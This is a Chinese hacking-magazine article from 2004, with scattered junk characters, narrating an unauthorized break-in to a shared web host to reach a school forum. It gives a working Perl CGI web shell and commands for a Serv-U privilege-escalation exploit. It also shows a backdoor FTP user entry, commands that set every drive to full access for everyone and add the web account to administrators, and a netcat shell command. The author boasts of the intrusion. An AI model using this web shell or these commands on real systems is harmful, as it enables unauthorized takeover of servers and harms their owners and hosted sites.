剑走偏锋——灵巧的旁注攻击
4 d1 r: u6 U! ^' m. @; X本文作者:angel9 X3 p2 `: [' f5 z9 J2 U9 U
文章性质:原创4 h! r4 Z, Y) m t, s, D
发布日期:2004-11-09 3 [8 c% a/ ^8 J n
注意:. P9 p: E6 i8 ]! ^. v& G
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
$ I+ g; z( z1 d( d9 c% x本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。( g5 k0 c0 L l8 f: E9 C9 {1 Z
1 u( g- |4 h4 C
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 / l" }8 P# ^& z3 V. u( h
4 u# ?5 S( x$ ~/ W' @) k4 R# T
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
% x- h Y$ L$ r
7 H% c Y6 G% X7 H! R% \ 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 ; D3 @8 F2 R* v" Y b
& |" s2 P* h4 d. Y4 k2 i% g( H 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
% M; v- ]2 c l- u( q' z4 ?6 \' v1 k: u# Q: m( C! ^6 j6 C
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 $ n8 Q- o6 P+ {1 K
0 z3 ~* B! M4 v" s4 w. Z
没有目的的跳转目录着……
8 V5 X5 i* h+ w* V( b0 ], E' v- y. i: {# P
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
( [. r; d- S4 o( \3 U! I" W' v8 |4 h
结束了吗?不,我试着 FTP 一下:
. R8 O0 v& w4 \, S5 S5 J1 a* c9 Y) Y6 u7 P- I. Y0 c. V3 v
Microsoft Windows 2000 [Version 5.00.2195]; o: d0 A+ }, W, z0 \9 z
(C) 版权所有 1985-2000 Microsoft Corp.
7 ~7 k/ b8 y# O# [/ k
+ Z$ r" n/ H) g4 G5 T$ t% PC:\Documents and Settings\Administrator>ftp www.school.com F6 y) O" p1 J4 }% O, P- c6 ~# Y
Connected to www. school.com. # F( m' E) P# D0 i' K. s/ p
220 Welcome to FTP Server... z% d8 q0 N( @/ t7 ?: s
User (www.bjtrq.com:(none)):
/ d1 A. ^6 L1 c9 p6 l* d3 |/ q331 User name okay, need password. , |4 I. E0 [3 A% }" i
Password:
9 E# c$ W% w e530 Not logged in.
& k, X. m$ }, }6 VLogin failed. 0 W' G" \$ b( R' S
ftp> bye
: N3 H6 z7 d' F3 N3 W, b5 M& u221 Goodbye! ) }2 I7 s" m# w) K
7 }" ?2 p% }8 ^; o3 e
( H" P1 P/ s$ Z( L+ M- d 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
# r' Q2 \+ c0 B9 n1 F% A
4 U6 j& `( I+ S* ]( `8 R% k 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
9 d- I2 a; a8 }$ K# O v, a& D- t, t" T( Q# I9 i
Application Data2 Y$ X# {6 }7 J& s0 @) ?. b6 b) L
Documents
9 f/ L- `4 F; H; L8 K: ~DRM) N8 q- L+ N6 P, o% H& j. \
Favorites0 K$ u2 }/ U: {* ~# s2 V
Templates7 ^$ p6 U9 H8 z7 _0 j: f% s
「开始」菜单
9 j( h, F- e* W, v1 p" x% ]桌面8 X, r4 f- z2 N7 k; n" t! v
3 x% t) s B+ F. X" l) m
9 \8 s( {7 h& \8 t
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, " G. M1 A$ e% d( Y i% P7 U6 ]
# D8 F# F$ W: w! |ActiveState ActivePerl 5.8
' |/ z4 F! f0 W1 gAdministrative Tools
3 t1 M$ h' t3 Q) A; _. M0 A- }Deerfield.com( J2 y* m5 P7 V1 [) H+ Q, c9 ~
DTemp
3 o: K& {7 A3 B/ z) GIPSentry- {* p* }7 _8 H$ k( C$ f4 O
MBM 5
5 _. ?; i% i0 B- n' ?3 P( X) ~NetMeter9 G/ S/ q7 r) A3 p' d
Network ICE
1 P, p+ }# y& C' H- F* k6 k7 z2 UPersits Software AspEmail2 o. }: A& L- e* t- u$ ~: M
Persits Software AspJpeg
! p2 k' M' G' ~! EServ-U FTP Server
, k: o& |% y: @4 l+ m; Q" L) ]6 ]Symantec Client Security
8 H5 e- f4 {( U, B4 e. d. y4 fWindows 优化大师
" p7 ~2 \3 S7 ^7 L& AWinRAR
5 s5 V% @7 z4 l1 C1 W4 _3 f启动5 _( B L% s& x) T4 u) b: X
管理工具
, r) D O7 G$ t: k: |$ F附件0 N: J# u. e4 G) L* Y
$ l. O& W) _4 m3 y
# M$ k1 `2 h# C" m, T 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
5 M+ T, V Z/ A+ d$ l
# W+ h8 X4 P5 m! m7 q4 O f) B 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
/ z* g) R; B5 x- T. ^8 Q- E2 u- H$ S1 B8 [
User281=angel|1|0 ' Z' m/ n+ f3 `" t
* {$ F) y8 J) B8 g( E2 E/ M% l1 c& a7 k: R/ _5 K- Y. s% X, } z
然后加上 q$ F7 F4 i. J+ @1 u
+ c2 G+ \; K9 ]4 D
[USER=angel|1]% K e# {% P' X& J
Password=ng98F85379EA68DBF97BAADCA99B69B805' P$ x! S8 b1 `
HomeDir=D:\websites/ h" D1 e" a9 ?2 f: `% P+ d
RelPaths=1
) I4 I: F0 k5 x( M* @( sTimeOut=600. G0 k/ @2 e* ^' C; H( U
Maintenance=System
! b# f% l- H4 l1 F0 aAccess1=D:\websites|RWAMELCDP" O7 K9 J+ \& n
SKEYValues=/ c1 `7 V8 a$ Q3 X" T( O3 o" \
! h/ B- ], i! m3 ?& B+ R
3 _$ X: Z# v( ^ `2 F3 ~ 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 9 k) l6 c3 W; n" }( @( I$ A- M8 ]
) Q9 S& g' g6 Y2 _6 q! n% J 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 7 _0 B- ?' O p2 j
& v1 |, Y' _* N$ r. Z" I
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ; h% h$ U0 Y. Q+ G3 T$ r! H# ~- f+ Q
" R+ E) z8 A4 O 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ( g: Y: N S3 @6 i V8 p+ ^
$ _1 M& F' @3 M- ]) g; ], ]3 D8 h
#!/usr/bin/perl
6 C1 _4 V" F* x; j$ Y7 zbinmode(STDOUT);+ @4 J) A& @8 D/ k
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$ e6 a5 ?% N6 R* P" h$_ = $ENV{QUERY_STRING};" K/ j# v1 G) w2 N) f$ I0 `( t
s/%20/ /ig;
) Y8 M2 e I! ?/ k& hs/%2f/\//ig;
2 M9 {7 }: ~ n, v2 r1 Z$ [$execthis = $_;
) ?, u. ?% u8 R: m8 Q, f R6 S7 `7 F! wsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
( r+ N8 U5 z" R- Z4 i1 Gopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";) `5 X6 ?" `% Q% J
system($execthis);
: B4 b2 K; y1 b7 t8 ]' Usyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
. Y: _# o$ Q: D+ u2 zclose(STDERR);/ @0 f/ p0 |1 ^# X3 p" z' U
close(STDOUT);5 d! s; p0 j; L9 ?9 I) U
exit;6 x2 N; ?( C2 D
5 K& k$ m" y% X
5 f4 m y8 h5 w& G# T& A 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
# _ k2 c1 }: `8 _: h2 q; y
( u3 W5 F" J0 f, k% K# |6 K 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: l, K$ m& K6 k# y2 v
: l4 c6 M; T4 H' K' ahttp://anyhost//cmd.pl?d:\user\bin\su.exe 8 B, D; ^) \1 F% |2 g& Y+ I
w9 i3 n9 z6 f6 U C! ~
+ p& R2 d2 w# c1 f' G
返回:
6 B5 Y# n4 E' A4 e ]7 P2 o0 a" n8 ^# t8 H
Serv-u >3.x Local Exploit by xiaolu * q( M$ K' _" G2 x2 k
: P, B* R1 z5 n; [$ I9 d
USAGE: serv-u.exe "command"
. s7 J/ I; h6 w+ N
3 T! v2 y( Z2 H2 V" iExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
% V5 t6 @7 Q# K- R' j0 y# j# ^2 I 5 K( f; S4 r1 F# Y9 S; j8 G1 ]. Y
9 C" _/ l" f( U6 k [$ d# }5 J- T
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: # k- I3 V# e) O5 r/ S& L
: k# J! x% ? Q
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
/ S0 [7 j2 V% p5 d* l# n9 [& x
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" $ G6 D4 A; F+ ^ B
) v) O2 l6 _) q/ Yhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
# e+ y! L8 ^* L9 r5 l: M# d% h4 x
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ! X* G& r8 ]9 W$ K
K2 W' P7 O7 s9 i9 |9 Y
n7 B/ A" D& E% U8 Z4 b( H
返回下面的信息,就表示成功了!!! - j( g- C* s8 w: S2 {
& w2 x9 c5 j2 r+ {' R( VServ-u >3.x Local Exploit by xiaolu
% Z; }2 K) I' `% E+ [+ N+ M3 Q! }: R" i
<220 Serv-U FTP Server v5.2 for WinSock ready...
! F; K" |! t' B! @
6 u1 w3 e' O$ s* @" `2 Z>USER LocalAdministrator
) D4 {# [; t |# c! y8 T- v) N' N8 p x( u
<331 User name okay, need password. 2 k0 d6 O6 C0 l, [
7 [8 e. i' A/ o3 ?) P2 I' Z% [
******************************************************
. M" _; `: ~5 h/ w6 `- [
9 k+ }( ^4 b1 ]>PASS #l@$ak#.lk;0@P " O2 C4 `3 K, r6 ^2 c9 P: E
& m: P2 R7 i* z; Y
<230 User logged in, proceed. 0 M7 E5 _0 B+ O c$ H
+ y, `1 o/ Q1 u- v5 Z- J
******************************************************
, u; ^( T$ s( `4 G
. _1 V) Z4 K+ w9 @>SITE MAINTENANCE
0 i7 w9 u) h1 x, H$ R6 X/ x$ O/ |; E2 e% {! p' ] X, M
****************************************************** ! B) E4 O+ Y: v; V$ s) A
3 v$ w* G ~: L7 b7 |[+] Creating New Domain...
# ^% {% I& H/ i" D
^8 w7 C. {' W4 p4 E<200-DomainID=2 P S2 G5 u: Q2 s$ i" ^% J
d9 ~& `) t' S$ q
<220 Domain settings saved 2 j+ S6 y+ q) s1 B+ }3 x
0 c( y+ f7 ], \& B+ u2 Q) s****************************************************** : e+ c) Q: ^' O1 t ]
2 C9 r; B$ n" b, k5 X" b- F[+] Domain xl:2 Created 5 I+ B) t, m' \. {) Z7 @7 Q
& |) H+ R! @0 s4 Q' ]+ R[+] Creating Evil User 2 e- u) m5 l$ e
9 q! x/ b" a5 H( n; y<200-User=xl * r2 C4 U+ Z$ p5 B
2 f1 l) n4 x9 V9 U
200 User settings saved ' t1 G( V$ L; K: G& y4 o
- m. x$ x' g& @' Z4 m******************************************************
# m8 \# D3 h! L4 T/ o, Y
% I$ Q0 A3 o8 ?* L3 T" D% h[+] Now Exploiting...
$ @( e( `; s$ S% w5 j
4 T) b! z' M5 ^+ S' \>USER xl : `, ~2 v0 e# ^3 H7 i
& q1 ?8 \ @! n, T9 j' C
<331 User name okay, need password. + r+ z; {- f* g! ]
& _" l1 a$ @" t; |' O6 j****************************************************** * I. s% l% o, ~* c) X
5 H* Q) L- _: _: H" S3 z
>PASS 111111
2 F; G! `9 k1 ]/ Z: e5 w( Z
, \$ u/ V* [: l" M. a+ H7 `<230 User logged in, proceed.
/ a) f! U( H# O6 u+ B0 C6 W: f+ Y! m2 k( N" U
****************************************************** - A5 J0 _8 p% t5 q+ D7 Y
8 i. c) ~. Z+ t2 w0 X
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
% {& {3 O9 ?( }; S( D
+ {8 H. G, Q2 `+ ~' K$ g<220 Domain deleted
$ G2 F$ w9 q6 w. w; V9 ^5 S, J5 X( M
******************************************************
2 A, j- y5 E5 K& S0 @2 Q7 i - p2 p! O2 n$ P0 S F% K
8 G, o- h6 F' S$ T+ L
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
: `+ t7 q, w k- [* Q+ R& V: t8 G" D5 H8 V! l& p2 ~" n
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 9 ~7 i, p' v# r( K! F0 j5 d6 G6 K
% m F+ s4 F. j) b$ m) V7 ~$ e
% K( v& h4 T7 s 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
- u t* j3 V% K5 ], D+ G
7 P1 b2 }: [0 s 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。$ v+ D1 C, c" ~# g8 s
) ?1 ]: ~0 i; r+ f
: N1 u4 q/ V! h+ A# @9 \# @ n |